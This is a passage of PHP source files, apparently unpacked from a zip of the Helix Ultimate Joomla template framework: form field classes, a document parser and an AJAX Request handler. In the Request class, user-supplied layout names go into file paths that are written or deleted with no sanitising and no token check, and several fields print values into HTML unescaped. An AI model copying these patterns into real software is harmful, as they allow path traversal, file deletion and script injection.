		$query->where($db->quoteName('client_id') . ' = 0');
		$query->where($db->quoteName('published') . ' = 1');
		$query->group('position');
		$query->order('position ASC');
		$db->setQuery($query);
		$dbpositions = $db->loadObjectList();

		$templateXML = JPATH_SITE . '/templates/' . $style->template . '/templateDetails.xml';
		$template = simplexml_load_file($templateXML);
		$options = array();

		foreach ($dbpositions as $positions)
		{
			$options[] = $positions->position;
		}

		foreach ($template->positions[0] as $position)
		{
			$options[] = (string) $position;
		}

		ksort($options);

		$opts = array_unique($options);

		$options = array();

		foreach ($opts as $opt)
		{
			$options[$opt] = $opt;
		}

		$html[] = HTMLHelper::_('select.genericlist', $options, $this->name, trim($attr), 'value', 'text', $this->value, $this->id);

		return implode($html);
	}
}
PK!�<����)helixultimate/src/fields/helixdetails.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;

/**
 * Form field for helix details.
 *
 * @since   1.0.0
 */
class JFormFieldHelixdetails extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixdetails';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		HTMLHelper::_('jquery.framework');
		$doc = Factory::getDocument();

		$plg_path = Uri::root(true) . '/plugins/system/helixultimate';
		$doc->addScript($plg_path . '/assets/js/admin/details.js');
		$doc->addStyleSheet($plg_path . '/assets/css/admin/details.css');

		$app = Factory::getApplication();
		$id  = $app->input->get('id', 0, 'INT');

		$url = Route::_('index.php?option=com_ajax&helix=ultimate&id=' . $id);
		$html = '<a href="' . $url . '" class="hu-options"><i class="icon-options"></i> Template Options</a>';

		return $html;
	}

	/**
	 * Override the getLabel method from FormField class.
	 *
	 * @return 	boolean
	 * @since	1.0.0
	 */
	public function getLabel()
	{
		return false;
	}
}
PK!mO�h��&helixultimate/src/fields/helixunit.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;
/**
 * Form field for helix presets.
 *
 * @since	2.0.0
 */
class JFormFieldHelixUnit extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	2.0.0
	 */
	protected $type = 'HelixUnit';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	2.0.0
	 */
	protected function getInput()
	{
		// By default the unit is px.
		$unit = 'px';
		$value = $this->value;
		$name = $this->name;
		$hint = $this->getAttribute('hint', '', 'STRING');

		if (isset($value))
		{
			$matches = [];

			if (preg_match("@^([+-]?(?:\d+|\d*\.\d+))(px|em|rem|%)$@", $value, $matches))
			{
				if (count($matches) >= 3)
				{
					$value = $matches[1];

					if (isset($matches[2]))
					{
						$unit = strtolower($matches[2]);
					}
				}
			}
			elseif (is_numeric($value))
			{
				$value = (float) $value;
			}
			else
			{
				$value = '';
			}
		}

		$value = !isset($value) ? '' : $value;
		$finalValue = $value !== '' ? $value . $unit : '';
		$output = '';

		$output .= '<div class="hu-input-group hu-unit-group">';
		$output .= '	<input type="hidden" class="hu-unit-field-value" name="' . $name . '" value="' . $finalValue . '"/>';
		$output .= '	<input type="text" class="hu-field-dimension-width form-control hu-unit-field-input ' . $name . '" value="' . $value . '" ' . ($hint !== '' ? 'placeholder="' . $hint . '"' : '') . ' />';
		$output .= '	<select class="hu-unit-select">';
		$output .= '		<option value="px" ' . ($unit === 'px' ? 'selected' : '') . '>px</option>';
		$output .= '		<option value="em" ' . ($unit === 'em' ? 'selected' : '') . '>em</option>';
		$output .= '		<option value="rem" ' . ($unit === 'rem' ? 'selected' : '') . '>rem</option>';
		$output .= '		<option value="%" ' . ($unit === '%' ? 'selected' : '') . '>%</option>';
		$output .= '	</select>';
		$output .= '</div>';

		return $output;
	}
}
PK!�L�Ή�(helixultimate/src/fields/helixbutton.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Form\FormField;

/**
 * Form field for helixButton
 *
 * @since	1.0.0
 */
class JFormFieldHelixbutton extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixbutton';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{

		$url = !empty($this->element['url']) ? $this->element['url'] : '#';
		$class = !empty($this->element['class']) ? ' ' . $this->element['class'] : '';
		$text = !empty($this->element['text']) ? $this->element['text'] : 'Button';
		$target = !empty($this->element['target']) ? $this->element['target'] : '_self';

		return '<a id="' . $this->id . '" class="hu-btn' . str_replace('btn-', 'hu-btn-', $class) . '" href="' . $url . '" target="' . $target . '">' . Text::_($text) . '</a>';	
	}
}
PK!��Ը��+helixultimate/src/fields/helixdimension.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use HelixUltimate\Framework\Core\Lib\FontawesomeIcons;

defined('_JEXEC') or die();

/**
 * Form field for Helix dimension.
 *
 * @since	2.0.0
 */
class JFormFieldHelixdimension extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	2.0.0
	 */
	protected $type = 'Helixdimension';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	2.0.0
	 */
	public function getInput()
	{
		$unit = $this->getAttribute('unit', 'px');
		list($width, $height) = explode('x', strtolower($this->value));

		// Output
		$output = '';

		$output .= '<div class="row">';

		$output .= '<div class="col-6">';
		$output .= '<div class="hu-d-flex hu-align-items-center">';
		$output .= '<span class="hu-mr-1">W</span>';
		$output .= '<div class="hu-input-group">';
		$output .= '<input type="text" class="hu-field-dimension-width form-control" value="' . $width . '" /><span class="hu-input-group-text">' . $unit . '</span>';
		$output .= '</div>';
		$output .= '</div>';
		$output .= '</div>';

		$output .= '<div class="col-6">';
		$output .= '<div class="hu-d-flex hu-align-items-center">';
		$output .= '<span class="hu-mr-1">H</span>';
		$output .= '<div class="hu-input-group">';
		$output .= '<input type="text" class="hu-field-dimension-height form-control" value="' . $height . '" /><span class="hu-input-group-text">' . $unit . '</span>';
		$output .= '</div>';
		$output .= '</div>';
		$output .= '</div>';

		$output .= '</div>';

		$output .= '<input type="hidden" name="' . $this->name . '" id="' . $this->id . '" class="hu-field-dimension-input ' . $this->class . '" value="' . $this->value . '" />';

		return $output;

	}
}
PK!E��-helixultimate/src/fields/helixmenubuilder.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Form\FormField;
use Joomla\CMS\Language\Text;
/**
 * Form field for Helix mega menu
 *
 * @since	2.0.0
 */
class JFormFieldHelixMenuBuilder extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	2.0.0
	 */
	protected $type = "HelixMenuBuilder";

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	2.0.0
	 */
	public function getInput()
	{
		$html = [];
		$html[] = '<div id="hu-menu-builder">';
		$html[] = '<div id="hu-menu-builder-container"></div>';
		$html[] = '<button type="button" class="hu-btn hu-btn-primary hu-add-menu-item"><span class="fas fa-plus" aria-hidden="true"></span> ' . Text::_('HELIX_ULTIMATE_ADD_NEW_MENU_ITEM') . '</button>';
		$html[] = '</div>';

		return implode("\n", $html);
	
	}


}
PK!�&��)helixultimate/src/fields/helixpresets.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use HelixUltimate\Framework\Platform\Settings;
use HelixUltimate\Framework\Platform\Helper;
/**
 * Form field for helix presets.
 *
 * @since	1.0.0
 */
class JFormFieldHelixpresets extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixpresets';

	/**
	 * Preset field.
	 *
	 * @var		string	Preset field.
	 * @since	1.0.0
	 */
	protected $presetfiled = '';

	/**
	 * Preset List.
	 *
	 * @var		string	Preset list.
	 * @since	1.0.0
	 */
	protected $presetList = '';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		$children = $this->element->children();
		$presetXml = array();

		foreach ($children as $child)
		{
			$presetXml[(string) $child['name']] = $this->getDefaultDataFromXML($child);
		}

		$html = '<div class="hu-presets clearfix">';

		$templateData = Helper::loadTemplateData();

		if (empty($templateData))
		{
			throw new \Exception(sprintf('Something went wrong! Template data not found.'));
		}

		$params = $templateData->params;
		$data = $params->get('presets-data', null);
		$presetsData = $this->createPresetData($data, array_keys($presetXml), $children);

		if (!empty($presetsData))
		{
			list ($data, $htmlString) = $this->generateFieldFromParamsData($presetsData, $this->value);
		}
		else
		{
			list ($data, $htmlString) = $this->generateFieldFromXmlData($children, $this->value);
		}

		$data = json_encode($data);

		$html .= $htmlString;
		$html .= '<input id="default-values" type="hidden" class="default-values" value=\'' . json_encode($presetXml) . '\' />';
		$html .= '<input id="presets-data" type="hidden" name="presets-data" class="hu-presets-data" value=\'' . $data . '\' />';
		$html .= '<input id="' . $this->id . '" type="hidden" name="' . $this->name . '" class="hu-input-preset" value=\'' . $this->value . '\' />';
		$html .= '</div>';
		

		return $html;
	}

	/**
	 * Check if the options.xml is updated with new preset values or not.
	 * If any new preset added to the xml then update the json and add the
	 * new one. Same for removing a preset at xml.
	 *
	 * @param 	string 		$json	The JSON preset value string.
	 * @param	array		$names	The preset names array.
	 * @param 	SimpleXML	$presets	The simple XML children of the presets.
	 *
	 * @return 	\stdClass | null
	 * @since 	2.0.2
	 */
	private function createPresetData($json, $names, $presets)
	{
		if (empty($json))
		{
			return null;
		}

		if (\is_string($json))
		{
			$json = \json_decode($json);
		}

		$keys = \array_keys((array) $json);
		$names = \array_flip($names);

		foreach ($json as $presetName => $presetData)
		{
			if (!isset($names[$presetName]))
			{
				unset($json->$presetName);
			}
			else
			{
				unset($names[$presetName]);
			}
		}

		foreach ($presets as $child)
		{
			$elementName = (string) $child['name'];

			if (isset($names[$elementName]))
			{
				$json->$elementName = array(
					'label' => isset($child['label']) ? (string) $child['label'] : '',
					'default' => isset($child['default']) ? (string) $child['default'] : '',
					'description' => isset($child['description']) ? $child['description'] : '',
					'data' => (object) $this->getDefaultDataFromXML($child)
				);
				$json->$elementName = (object) $json->$elementName;
			}
		}
		
		return $json;
	}


	private function getDefaultDataFromXML($presets)
	{
		$data = array();

		foreach ($presets->children() as $preset)
		{
			$data[(string) $preset['name']] = (string) $preset['value'];
		}

		$data['preset'] = (string) $presets['name'];

		return $data;
	}

	/**
	 * Make setting panel or modal from saved
	 * data into database
	 *
	 * @param	string	$json	Preset json string.
	 * @param	string	$value	Field value
	 *
	 * @return	array
	 * @since	2.0.0
	 */
	private function generateFieldFromParamsData($json, $value)
	{
		$data = array();
		$html = '';

		if (\is_string($json) && strlen($json) > 0)
		{
			$json = json_decode($json);
		}

		$preset = json_decode($value);

		foreach ($json as $name => $child)
		{
			$class = '';

			if (isset($preset->preset) && $preset->preset === $name)
			{
				$class = ' active';
			}

			$html_data_attr = 'data-preset="' . $name . '"';

			$presetData = array(
				'name' => $name,
				'data' => array()
			);

			foreach ($child->data as $prop => $val)
			{
				if ($prop !== 'preset')
				{
					$html_data_attr .= ' data-' . $prop . '="' . $val . '"';

					// Generate preset data for editing
					$presetData['data'][$prop] = $val;
				}
			}

			$html .= '<div class="hu-preset ' . $class . '" style="background-color: ' . $child->default . '" ' . $html_data_attr . '>';
			
			// Edit preset
			$html .= '<a type="button" role="button" class="hu-edit-preset" data-preset="' . $name . '" style="color: ' . $child->default . '; border-top-right-radius: 3px;" data-preset_data=\'' . json_encode($presetData) . '\'><span class="fas fa-pen" aria-hidden="true"></span></a>';

			$html .= Settings::preparePresetEditForm($presetData, $name);

			$html .= '<div class="hu-preset-title">' . $child->label . '</div>';
			$html .= '<div class="hu-preset-contents">';
			$html .= '</div>';
			$html .= '</div>';
		}

		return [$json, $html];
	}

	/**
	 * Make setting panel or modal from XML
	 *
	 *
	 * @param	array	$children	Preset fields
	 * @param	string	$value		Field value
	 *
	 * @return	array
	 * @since	2.0.0
	 */
	private function generateFieldFromXmlData($children, $value)
	{
		$data = array();

		$html = '';

		foreach ($children as $child)
		{
			$data[(string) $child['name']] = array(
				'label' => isset($child['label']) ? (string) $child['label'] : '',
				'default' => isset($child['default']) ? (string) $child['default'] : '',
				'description' => isset($child['description']) ? $child['description'] : '',
				'data' => array()
			);

			$preset = json_decode($value);

			$class = '';

			if (isset($preset->preset) && $preset->preset === $child['name'])
			{
				$class = ' active';
			}

			$childName = $child->getName();

			if ($childName === 'preset')
			{
				$html_data_attr = 'data-preset="' . $child['name'] . '"';

				$presetData = array(
					'name' => (string) $child['name'],
					'data' => array()
				);

				foreach ($child->children() as $preset)
				{
					$html_data_attr .= ' data-' . $preset['name'] . '="' . $preset['value'] . '"';

					// Generate preset data for editing
					$presetData['data'][(string) $preset['name']] = (string) $preset['value'];
					$presetData['data']['preset'] = (string) $child['name'];

					$data[(string) $child['name']]['data'][(string) $preset['name']] = (string) $preset['value'];
					$data[(string) $child['name']]['data']['preset'] = (string) $child['name'];
				}

				$html .= '<div class="hu-preset' . $class . '" style="background-color: ' . $child['default'] . '" ' . $html_data_attr . '  class="hu-preset">';

				// Edit preset
				$html .= '<a type="button" role="button" class="hu-edit-preset" data-preset="' . $child['name'] . '" style="color: ' . $child['default'] . '" data-preset_data=\'' . json_encode($presetData) . '\'><span class="fas fa-pen" aria-hidden="true"></span></a>';

				$html .= Settings::preparePresetEditForm($presetData, $child['name']);

				$html .= '<div class="hu-preset-title">' . $child['label'] . '</div>';
				$html .= '<div class="hu-preset-contents">';
				$html .= '</div>';
				$html .= '</div>';
			}
			else
			{
				throw new UnexpectedValueException(sprintf('Unsupported element %s in JFormFieldGroupedList', $child->getName()), 500);
			}
		}

		return [$data, $html];
	}
}
PK!w��a��%helixultimate/src/Document/Parser.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
namespace HelixUltimate\Framework\Document;

defined('_JEXEC') or die();

use Joomla\CMS\Document\HtmlDocument;
use Joomla\CMS\Factory;

/**
 * Document parser class
 *
 * @since   1.0.0
 */
class Parser extends HtmlDocument
{
	/**
	 * Template Tags
	 *
	 * @var		string	$_template_tags
	 * @since	1.0.0
	 */
	protected $_template_tags;

	/**
	 * HTML Document object
	 *
	 * @var		object	$doc
	 * @since	1.0.0
	 */
	private $doc = null;

	/**
	 * Joomla! Application object
	 *
	 * @var		object	$app
	 * @since	1.0.0
	 */
	private $app = null;

	/**
	 * Constructor function
	 *
	 * @param	object	$params
	 * @param	array	$options
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function __construct($params, $options = array())
	{
		parent::__construct($options);
		parent::parse($params);

		$this->app = Factory::getApplication();
		$this->doc = Factory::getDocument();

		$this->flushToJS();
	}

	/**
	 * Parse Template
	 *
	 *
	 * @return	array
	 * @since	1.0.0
	 */
	public function parseTemplate()
	{
		$replace = array();
		$with = array();

		foreach ($this->_template_tags as $jdoc => $args)
		{
			$replace[] = $jdoc;
			$with[] = $this->getBuffer($args['type'], $args['name'], $args['attribs']);
		}

		return array
		(
			'replace' => $replace,
			'with' => $with
		);
	}

	/**
	 * Flush to JS
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	private function flushToJS()
	{
		$contents = $this->parseTemplate();

		// $this->doc->addScriptDeclaration("var templateReWi = '" . json_encode($contents) . "';");
	}
}
PK!s�
aFaF&helixultimate/src/Platform/Request.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

namespace HelixUltimate\Framework\Platform;

defined('_JEXEC') or die();

use HelixUltimate\Framework\HttpResponse\Response;
use HelixUltimate\Framework\Platform\Blog;
use HelixUltimate\Framework\Platform\Helper;
use HelixUltimate\Framework\Platform\Media;
use HelixUltimate\Framework\System\HelixCache;
use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Http\Http;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Session\Session;
use Joomla\Registry\Registry;

/**
 * Request class where the ajax requests
 * take place.
 *
 * @since   1.0.0
 */
class Request
{
	/**
	 * Joomla! app instance.
	 *
	 * @var     CMSApplication  $app
	 * @since   1.0.0
	 */
	protected $app;

	/**
	 * ID.
	 *
	 * @var		integer		$id
	 * @since	1.0.0
	 */
	protected $id;

	/**
	 * Request action.
	 *
	 * @var		string		$action
	 * @since	1.0.0
	 */
	protected $action;

	/**
	 * Request data.
	 *
	 * @var		array|object	$data
	 * @since	1.0.0
	 */
	protected $data;

	/**
	 * Layout name.
	 *
	 * @var		string		$layout_name
	 * @since	1.0.0
	 */
	protected $layout_name = '';

	/**
	 * Request reporting.
	 *
	 * @var		array	$report
	 * @since	1.0.0
	 */
	protected $report = array();

	/**
	 * Constructor function for request.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function __construct()
	{
		$this->app = Factory::getApplication();
		$input = $this->app->input;

		$this->id       = $input->get('id', null, 'INT');
		$this->action   = $input->get('action', '');
		$this->data     = $input->get('data', array(), 'ARRAY');
		$this->report   = array( 'status' => false, 'message' => 'Unexpected error occurs');

	}

	/**
	 * Initialize the request.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function initialize()
	{
		switch ($this->action)
		{
			case 'save-tmpl-style':
				$this->saveTemplateStyle();
				break;

			case 'draft-tmpl-style':
				$this->draftTemplateStyle();
				break;

			case 'reset-drafted-settings':
				$this->resetDraftedSettings();
				break;

			case 'save-layout':
				$this->copyTemplateLayout();
				break;

			case 'render-layout':
				$this->renderTemplateLayout();
				break;

			case 'remove-layout-file':
				$this->removeLayoutFile();
				break;

			case 'view-media':
				Media::getFolders();
				break;

			case 'delete-media':
				Media::deleteMedia();
				break;

			case 'create-folder':
				Media::createFolder();
				break;

			case 'upload-media':
				Media::uploadMedia();

			case 'import-tmpl-style':
				$this->importTemplateStyle();
				break;

			case 'update-font-list':
				$this->updateGoogleFontList();
				break;

			case 'fontVariants':
				$this->changeFontVariants();
				break;

			case 'upload-blog-image':
				Blog::upload_image();
				break;

			case 'remove-blog-image':
				Blog::remove_image();
				break;

			case 'purge-css-file':
				$this->purgeCssFiles();
				break;

			case 'getMenuItems':
				$this->report = Response::getMenuItems();
				break;

			case 'parentAdoption':
				$this->report = Response::parentAdoption();
				break;

			case 'rebuildMenu':
				$this->report = Response::rebuildMenu();
				break;

			case 'generateMegaMenuBody':
				$this->report = Response::generateMegaMenuBody();
				break;
			
			case 'saveMegaMenuSettings':
				$this->report = Response::saveMegaMenuSettings();
				break;

			case 'updateRowLayout':
				$this->report = Response::updateRowLayout();
				break;

			case 'generateRow':
				$this->report = Response::generateRow();
				break;

			case 'generatePopoverContents':
				$this->report = Response::generatePopoverContents();
				break;

			case 'generateNewCell':
				$this->report = Response::generateNewCell();
				break;

			case 'getModuleList':
				$this->report = Response::getModuleList();
				break;
		}

		echo json_encode($this->report);
	}

	/**
	 * Save template style.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	private function saveTemplateStyle()
	{
		$this->report['status'] = false;
		$this->report['message'] = Text::_('JINVALID_TOKEN');

		Session::checkToken() or die(json_encode($this->report));

		$data = $_POST;
		$inputs = $this->filterInputs($data);

		if (!$this->id || !is_int($this->id))
		{
			return;
		}

		$update = Helper::updateTemplateStyle($this->id, $inputs);

		$keyOptions = [
			'option' => 'com_ajax',
			'helix' => 'ultimate',
			'status' => 'draft',
			'id' => $this->id
		];

		$key = Helper::generateKey($keyOptions);
		$cache = new HelixCache($key);

		if ($cache->contains())
		{
			$cache->removeCache();
		}

		if ($update)
		{
			$this->report['status'] = true;
			$this->report['message'] = 'Style changed successfully';
			$this->report['isDrafted'] = Helper::isDrafted();
		}
	}

	private function draftTemplateStyle()
	{
		$this->report['status'] = false;
		$this->report['message'] = Text::_('JINVALID_TOKEN');

		Session::checkToken() or die(json_encode($this->report));

		$data = $_POST;
		$inputs = $this->filterInputs($data);

		$storeData = array();

		if (isset($inputs['id']))
		{
			$storeData['id'] = (int) $inputs['id'];
			unset($inputs['id']);
		}

		if (isset($inputs['template']))
		{
			$storeData['template'] = $inputs['template'];
			unset($inputs['template']);
		}

		if (isset($inputs['client_id']))
		{
			$storeData['client_id'] = (int) $inputs['client_id'];
			unset($inputs['client_id']);
		}

		if (isset($inputs['home']))
		{
			$storeData['home'] = (int) $inputs['home'];
			unset($inputs['home']);
		}

		if (isset($inputs['title']))
		{
			$storeData['title'] = $inputs['title'];
			unset($inputs['title']);
		}

		$params = new Registry($inputs);
		$storeData['params'] = $params;

		if (!$this->id || !is_int($this->id))
		{
			return;
		}

		$keyOptions = [
			'option' => 'com_ajax',
			'helix' => 'ultimate',
			'status' => 'draft',
			'id' => $this->id
		];

		try
		{
			$key = Helper::generateKey($keyOptions);
			$cache = new HelixCache($key);

			if ($cache->contains())
			{
				$cache->removeCache()->storeCache((object) $storeData);
			}
			else
			{
				$cache->storeCache((object) $storeData);
			}

			$this->report['status'] = true;
			$this->report['message'] = 'Style drafted successfully';
			$this->report['isDrafted'] = Helper::isDrafted();
		}
		catch (\Exception $e)
		{
			$this->report['status'] = false;
			$this->report['message'] = $e->getMessage();
			$this->report['isDrafted'] = Helper::isDrafted();
		}
	}

	private function resetDraftedSettings()
	{
		$keyOptions = [
			'option' => 'com_ajax',
			'helix' => 'ultimate',
			'status' => 'draft',
			'id' => $this->id
		];

		try
		{
			$key = Helper::generateKey($keyOptions);
			$cache = new HelixCache($key);

			if ($cache->contains())
			{
				$cache->removeCache();
			}

			$this->report['status'] = true;
			$this->report['message'] = 'Draft resets successfully';
			$this->report['isDrafted'] = Helper::isDrafted();
		}
		catch (\Exception $e)
		{
			$this->report['status'] = false;
			$this->report['message'] = $e->getMessage();
			$this->report['isDrafted'] = Helper::isDrafted();
		}
	}

	/**
	 * Filter inputs.
	 *
	 * @param	array	$inputs		Inputs to filter.
	 *
	 * @return	array	The filtered input
	 * @since	1.0.0
	 */
	private function filterInputs($inputs)
	{
		foreach ($inputs as &$input)
		{
			if (is_string($input))
			{
				$input = trim($input);
			}
		}

		return $inputs;
	}

	/**
	 * Copy template layout.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	private function copyTemplateLayout()
	{
		$this->setLayoutParams();
		$content = '';

		if (isset($this->data['content']))
		{
			$content = $this->data['content'];
		}

		if ($this->layout_name && $content)
		{
			$file_name = $this->layout_file_path . '.json';

			$file = fopen($file_name, 'wb');
			fwrite($file, $content);
			fclose($file);

			$this->report['status'] = true;
			$this->report['message'] = 'Files copy created as you saved';
			$this->report['layout'] = Folder::files($this->layouts_folder_path, '.json');
		}
	}

	/**
	 * Render template layout
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	private function renderTemplateLayout()
	{
		$this->setLayoutParams();

		if (file_exists($this->layout_file_path))
		{
			$content = file_get_contents($this->layout_file_path);

			if (isset($content) && $content)
			{
				$layoutHtml = $this->generateLayoutHTML(json_decode($content));

				$this->report['status'] = true;
				$this->report['message'] = 'Files content rendered';
				$this->report['layoutHtml'] = $layoutHtml;
			}
		}
	}

	/**
	 * Remove layout file.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	private function removeLayoutFile()
	{
		$this->setLayoutParams();

		if (file_exists($this->layout_file_path))
		{
			unlink($this->layout_file_path);
			$this->report['status'] = true;
			$this->report['message'] = 'File removed';
			$this->report['layout'] = \JFolder::files($this->layouts_folder_path, '.json');
		}
	}

	/**
	 * Purge CSS files.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	private function purgeCssFiles()
	{
		try
		{
			$data = $_POST;
			$inputs = $this->filterInputs($data);

			if (!$this->id || !is_int($this->id))
			{
				throw new Exception('Page ID required!');
			}

			$templateStyle = Helper::getTemplateStyle($this->id);
			$cache_path    = JPATH_SITE . '/cache/com_templates/templates/' . $templateStyle->template;

			if (Folder::exists($cache_path))
			{
				$files = scandir($cache_path);

				if (count($files) > 0)
				{
					foreach ($files as $file)
					{
						$ext  = explode('.', $file);
						$cache = count($ext) > 2 ? $ext[1] : '';

						if (end($ext) === 'css' || $cache === 'scss')
						{
							File::delete($cache_path . '/' . $file);
						}
					}
				}
			}

			$this->report['status']  = true;
			$this->report['message'] = 'CSS purge success';
		}
		catch (Exception $e)
		{
			$this->report['status']  = false;
			$this->report['message'] = $e->getMessage();
		}
	}

	/**
	 * Import template style.
	 *
	 * @return 	void
	 * @since	1.0.0
	 */
	private function importTemplateStyle()
	{
		if (!$this->id || !is_int($this->id))
		{
			return;
		}

		$settings 	= $this->data['settings'];
		$data 		= json_decode($settings);

		if (json_last_error() === JSON_ERROR_NONE)
		{
			$update = Helper::updateTemplateStyle($this->id, $data);

			if ($update)
			{
				$this->report['status'] = true;
				$this->report['message'] = 'Settings imported successfully';
			}
		}
	}

	/**
	 * Update Google font list.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	private function updateGoogleFontList()
	{
		$tmpl_style = Helper::loadTemplateData();
		$template   = $tmpl_style->template;

		$template_path = JPATH_SITE . '/templates/' . $template . '/webfonts';

		if (!Folder::exists($template_path))
		{
			Folder::create($template_path, 0755);
		}

		$params = is_string($tmpl_style->params)
			? new Registry($tmpl_style->params)
			: $tmpl_style->params;

		$apiKey = $params->get('gfont_api', '');

		$url  = 'https://www.googleapis.com/webfonts/v1/webfonts?key=' . $apiKey;
		$http = new Http;
		$str  = $http->get($url);

		if ($str->code === 200)
		{
			if (File::write($template_path . '/webfonts.json', $str->body))
			{
				$this->report['status']  = true;
				$this->report['message'] = '<p class="font-update-success">Google Webfonts list successfully updated! Please refresh your browser.</p>';
			}
			else
			{
				$this->report['message'] = '<p class="font-update-failed">Google Webfonts update failed. Please make sure that your template folder is writable.</p>';
			}
		}
		elseif ($str->code === 403)
		{
			$this->report['status']  = true;
			$decode_msg = json_decode($str->body);

			if (isset(json_decode($str->body)->error->message) && $get_msg = json_decode($str->body)->error->message)
			{
				$this->report['message'] = "<p class='font-update-failed'>" . $get_msg . "</p>";
			}
		}
	}

	/**
	 * Change font variants.
	 *
	 * @return 	void
	 * @since	1.0.0
	 */
	private function changeFontVariants()
	{
		$tmpl_style = Helper::getTemplateStyle($this->id);
		$template   = $tmpl_style->template;
		$font_name  = $this->data['fontName'];

		$template_path = JPATH_SITE . '/templates/' . $template . '/webfonts/webfonts.json';
		$plugin_path   = JPATH_PLUGINS . '/system/helixultimate/assets/webfonts/webfonts.json';

		if (File::exists($template_path))
		{
			// $json = File::read($template_path);
			$json = file_get_contents($template_path);
		}
		else
		{
			// $json = File::read($plugin_path);
			$json = file_get_contents($plugin_path);
		}

		$webfonts   = json_decode($json);
		$items      = $webfonts->items;

		foreach ($items as $item)
		{
			if ($item->family == $font_name)
			{
				$fontVariants = '';
				$fontSubsets = '';

				// Variants
				foreach ($item->variants as $variant)
				{
					$fontVariants .= '<option value="' . $variant . '">' . $variant . '</option>';
				}

				// Subsets
				foreach ($item->subsets as $subset)
				{
					$fontSubsets .= '<option value="' . $subset . '">' . $subset . '</option>';
				}

				$this->report['status']     = true;
				$this->report['message']    = 'Font Style Changed';
				$this->report['variants']   = $fontVariants;
				$this->report['subsets']    = $fontSubsets;
				break;
			}
		}
	}

	/**
	 * Set layout params.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	private function setLayoutParams()
	{
		$tmpl_style = Helper::getTemplateStyle($this->id);
		$this->template   = $tmpl_style->template;

		if (isset($this->data['layoutName']))
		{
			$this->layout_name = $this->data['layoutName'];
		}

		$this->layouts_folder_path  = JPATH_SITE . '/templates/' . $this->template . '/layout/';
		$this->layout_file_path     = $this->layouts_folder_path . $this->layout_name;
	}

	/**
	 * Generate Layout HTML.
	 *
	 * @param	object		$content 	Layout grid rows.
	 *
